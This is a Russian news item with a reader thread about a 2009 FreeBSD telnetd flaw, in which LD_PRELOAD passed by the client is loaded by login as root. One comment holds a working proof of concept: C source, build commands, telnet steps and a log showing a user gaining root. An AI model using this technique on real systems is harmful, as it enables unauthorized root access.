В telnetd демоне, входящем в состав FreeBSD 7.x, обнаружена (http://lists.grok.org.uk/pipermail/full-disclosure/2009-Febr...) критическая уязвимость, позволяющая локальному злоумышленнику получить привилегии суперпользователя в системе. Предположительно проблеме подвержены OpenBSD, NetBSD и другие системы.Эксплоит настолько прост, что вначале даже не верится, что он может работать. Уязвимость связана ненадлежащей чисткой переменных окружения перед вызовом /bin/login из telnetd (отсутствует чистка переменной окружения LD_PRELOAD, которую можно передать со стороны клиента, так как telnet протокол поддерживает передачу переменных окружения). Суть метода в подключении, через LD_PRELOAD простейшей библиотеки, запускающей /bin/sh в процедуре инициализации. Библиотека должна находиться на атакуемом хосте. При этом в момент подключения к локальному telnetd серверу, злоумышленник без аутентификации получает root shell.
Теоретически на основе данной проблемы можно реализ...URL: http://lists.grok.org.uk/pipermail/full-disclosure/2009-Febr...
Новость: http://www.opennet.me/opennews/art.shtml?num=20302
Много людей юзают telnet на продакшен?
>Много людей юзают telnet на продакшен?Да даже и на непродакшен, зачем его пользовать? Включение хоть телнета, хоть ssh это в самом простом случае +1 строчка в конфиг, а клиент есть либо по умолчанию, либо уж ладно putty с собой таскать не сложно. Хотя встроенные всякие железяки пользуют его..
>Много людей юзают telnet на продакшен?Вы знаете, какую нагрузку даёт ssh на 2000 сессий?
>>Много людей юзают telnet на продакшен?
>
>Вы знаете, какую нагрузку даёт ssh на 2000 сессий?А кто будет давать такую нагрузку? Юзеры? Так им-то как раз SSH и прописан, ибо сетевой безопасности не разумеют. Telnet сейчас реально юзается в embedded из-за простоты реализации и соображений совместимости. Других обоснованных применений за последнее время я не встречал. А вы?
>>Много людей юзают telnet на продакшен?
>
>Вы знаете, какую нагрузку даёт ssh на 2000 сессий?2000 админов на сервак мертвеца ))))
>2000 админов на сервак мертвеца ))))Если порезать крутой и мощный сервак на VDSки - может оказаться не такой уж и фантастикой.
боюсь, сервак с 2000 vps загнётся ещё до логинов по ssh, от одного только количества запущенных процессов :)
Простите, я поколение пепси, а что такое телнет? Это что-то типа ssh, да?
Угу, только данный передаются в незашифрованном виде
>Угу, только данный передаются в незашифрованном видеtelnet довольно давно умеет шифрование делать.
>telnet довольно давно умеет шифрование делать.А оно надо?
Расслабьтесь, я пошутил :)
Кдассная шутка, спасибо :)
>Простите, я поколение пепси, а что такое телнет? Это что-то типа ssh,
>да?И правда смешно :)
Не думаю. В то же время мой модем поддерживает ftp. А telnet висит постоянно...
Ужас! Как же терь жить то будем без телнета!!!
Кстати, почему его еще не выкинут из базовой системы?
В OpenBSD давно выкинут, поэтому она явно не подвержена этой атаке :)))
POSIX вестимо
>POSIX вестимоНи telnet, ни telnetd не входят в SUS
>Кстати, почему его еще не выкинут из базовой системы?При минимальной установке - отключен по умолчанию!
>Эксплоит настолько прост, что вначале даже не верится, что он может работать.Все гениальное просто =)
telnetd is disabled by default
Всё китайцы сейчас начнут сканить 23 порты нмапом... :)
А никому не приходила в голову мысль, что LD_PRELOAD просто в принципе не работает для setuid программ если их не root запускает? А если root запускает то и подгружать ничего не надо. Головой-то подумать можно если лень ман почитать - каждый дурак из shell бы подгрузил что ему захочется. Но нет, кто-то попробовал от root и о - чудо! Сработало! Я хакер!
В догонку: кстати в OpenBSD нет telnetd в принципе...
Еще в догонку. Дыра все-таки возможна - надо просто руки оторвать тому кто описывал проблему. Речь идет о возможности передачи переменной через сессию, а в этом случае setuid собственно вообще не причем - права root изначально.
>Еще в догонку. Дыра все-таки возможна - надо просто руки оторвать тому
>кто описывал проблему. Речь идет о возможности передачи переменной через сессию,
>а в этом случае setuid собственно вообще не причем - права
>root изначально.А где ты упоминание setuid нашел ? В тексте новости и в оригинале как раз про передачи переменной в сессии написано, а про setuid ни слова.
Про setuid перепутал - это на securitylab было написано, вот и перемешалось. Текст просто сильно похожий и из него не сразу понятно откуда вообще дыра взялась. В общеим случае дыра не в том, что не очищается перед запуском, а в том, что позволяет установить такую переменную через сессию.
Еще в догонку... Кому интересно - посмотрел FreeBSD-current - действительно пропускает все. NetBSD-current - режет
OpenBSD (telnetd выкосили три года назад, на тот момент) - режет
>Еще в догонку... Кому интересно - посмотрел FreeBSD-current - действительно пропускает все.
>NetBSD-current - режет
>OpenBSD (telnetd выкосили три года назад, на тот момент) - режетCurrent не показатель!
Из офф. письма:
"Some basic information from our investigation so far, subject to change as we
investigate further:
* this affects telnetd in FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE, and 8-CURRENT.
* telnetd is disabled by default; if it is enabled, this is normally done via
inetd(8)."Для слепых: telnetd is DISABLED by DEFAULT
>>Еще в догонку... Кому интересно - посмотрел FreeBSD-current - действительно пропускает все.
>>NetBSD-current - режет
>>OpenBSD (telnetd выкосили три года назад, на тот момент) - режет
>
>Current не показатель!Интересно, а где же тогда ошибки будут исправляться? Security fixes backports — тема вообще отдельная.
>[оверквотинг удален]
>
>"Some basic information from our investigation so far, subject to change as
>we
>investigate further:
>* this affects telnetd in FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE, and 8-CURRENT.
>* telnetd is disabled by default; if it is enabled, this is
>normally done via
>inetd(8)."
>
>Для слепых: telnetd is DISABLED by DEFAULTДля шибко умных: не считайте остальных тупее себя.
>>It is unlikely that this bug can be exploited remotely but is not impossible.Чувак пробовал локально это делать. При том в 7.0. И сам же утверждает что маловероятно использовать ее удаленно. И делается это от рута, если кто не заметил.
what leads to a (possible) remote root hole - что приводит к (возможно) удаленному root управлению.
Имхо туфта все это.
Не туфта.
Просто написана статья так, что не сразу ясно что имеется в виду.
А суть в том, что телнет во фре (до сегодняшнего дня) позволял передать в environment сессии все что угодно и соответственно подгрузить shared object, который вызовется login'ом еще на правах root. Статья говорит о том, что не чистится данная переменная, но на деле ее и не надо чистить - надо не допускать установки ее удаленно (и не только ее).
Кстати посмотрел что сегодня пропатчили во фре - судя по всему ничего по теме :)
>Не туфта.
>Просто написана статья так, что не сразу ясно что имеется в виду.
>
>А суть в том, что телнет во фре (до сегодняшнего дня) позволял
>передать в environment сессии все что угодно и соответственно подгрузить shared
>object, который вызовется login'ом еще на правах root. Статья говорит о
>том, что не чистится данная переменная, но на деле ее и
>не надо чистить - надо не допускать установки ее удаленно (и
>не только ее).ТУФТА!
1. Telnetd отключен по умолчанию (см. офф. письмо о уязвимости!)
2. Разумный человек отставляет только необходимые демоны в системе, в особенности на сервере
3. Разумный чаловек использует файервол как на рабочей станции так и в особенности на сервере
>[оверквотинг удален]
>>не надо чистить - надо не допускать установки ее удаленно (и
>>не только ее).
>
>ТУФТА!
>
>1. Telnetd отключен по умолчанию (см. офф. письмо о уязвимости!)
>2. Разумный человек отставляет только необходимые демоны в системе, в особенности на
>сервере
>3. Разумный чаловек использует файервол как на рабочей станции так и в
>особенности на сервереДля самых умных — речи не было о том, что эта уязвимость проявляется в установке по умолчанию. И если сервис поднят, то и доступ к нему будет открыт, ибо для того он и поднят, чтобы им пользовались.
recent changes in FreeBSD's environment-handling
code rendered telnetd's scrubbing inoperative, thereby allowing potentially
harmful environment variables to be set.RECENT CHANGES -- насколько я понял это только в 7.0 и 7.1 проявилось, поэтому и исправлений даже для 6-ой ветки нету. А в старых ветках в environment-handling
code не было этого.
Неужели в природе есть люди не сканящие свой сервер или рабочую станцию nmap и оставляющие ненужные демоны?!P.S. Виндузятники - не люди, а зомби!
> Неужели в природе есть люди не сканящие свой сервер или рабочую станцию nmap и оставляющие ненужные демоны?!для проверки на ненужные сервисы совсем не обязательно ставить nmap. Хватит и штатного sockstat(1). Напр.
sockstat -l46
Вопрос не в скане - телнет никто в здравом уме не включит, а по умолчанию он выключен. Вопрос в том, что в принципе дыра в программе есть...
Кому интересно...%id
uid=1001(test) gid=1001(test) groups=1001(test)
%cd /tmp
%cat >test.c
#include <sys/types.h>
#include <login_cap.h>
#include <stdio.h>
int
setusercontext(login_cap_t *lc, const struct passwd *pwd, uid_t uid,
unsigned int flags)
{
printf("Xa-xa!\n");
return (0);
}
%cc -c -o test.so -fPIC test.c
%cc -shared -o libtest.so.0.0 test.so
%telnet
telnet> aut dis sra
telnet> env def LD_PRELOAD /tmp/libtest.so.0.0
telnet> ope localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.FreeBSD/i386 (shit.home.lan) (ttyp3)
Password:
Xa-xa!
Last login: Tue Feb 17 12:51:07 from form.win.alveis.
Xa-xa!
Copyright (c) 1992-2009 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
The Regents of the University of California. All rights reserved.FreeBSD 7.1-RELEASE (GENERIC) #0: Thu Jan 1 14:37:25 UTC 2009
Welcome to FreeBSD!
%id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
%halt
Connection closed by foreign host.
В заголовке новости ошибка - исправьте !!!===>
Дополнение 1: Опубликован официальный отчет от службы реагирования на проблемы безопасности FreeBSD. Уязвимости подвержены только FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE и 8-CURRENT. Исправление уже присутствует в выпусках 7.1-RELEASE-p10, 7.0-RELEASE-p3, 7.1-STABLE и доступно в виде патча.
===>На самом деле должно быть 7.1-RELEASE-p3, 7.0-RELEASE-p10
Видимо переписывали из анонса FreeBSD - там такая же ошибка :)
>[оверквотинг удален]
>
>===>
>Дополнение 1: Опубликован официальный отчет от службы реагирования на проблемы безопасности FreeBSD.
>Уязвимости подвержены только FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE и 8-CURRENT. Исправление уже
>присутствует в выпусках 7.1-RELEASE-p10, 7.0-RELEASE-p3, 7.1-STABLE и доступно в виде патча.
>
>===>
>
>На самом деле должно быть 7.1-RELEASE-p3, 7.0-RELEASE-p10
>Видимо переписывали из анонса FreeBSD - там такая же ошибка :)Тогда заодно стоит заменить
"Предположительно проблеме подвержены OpenBSD, NetBSD и другие системы."
на
"NetBSD и OpenBSD проблеме не подвержены, в DragonFly BSD проблема исправлена 14.02.2008; однако другие *BSD-системы могут всё ещё содержать уязвимость."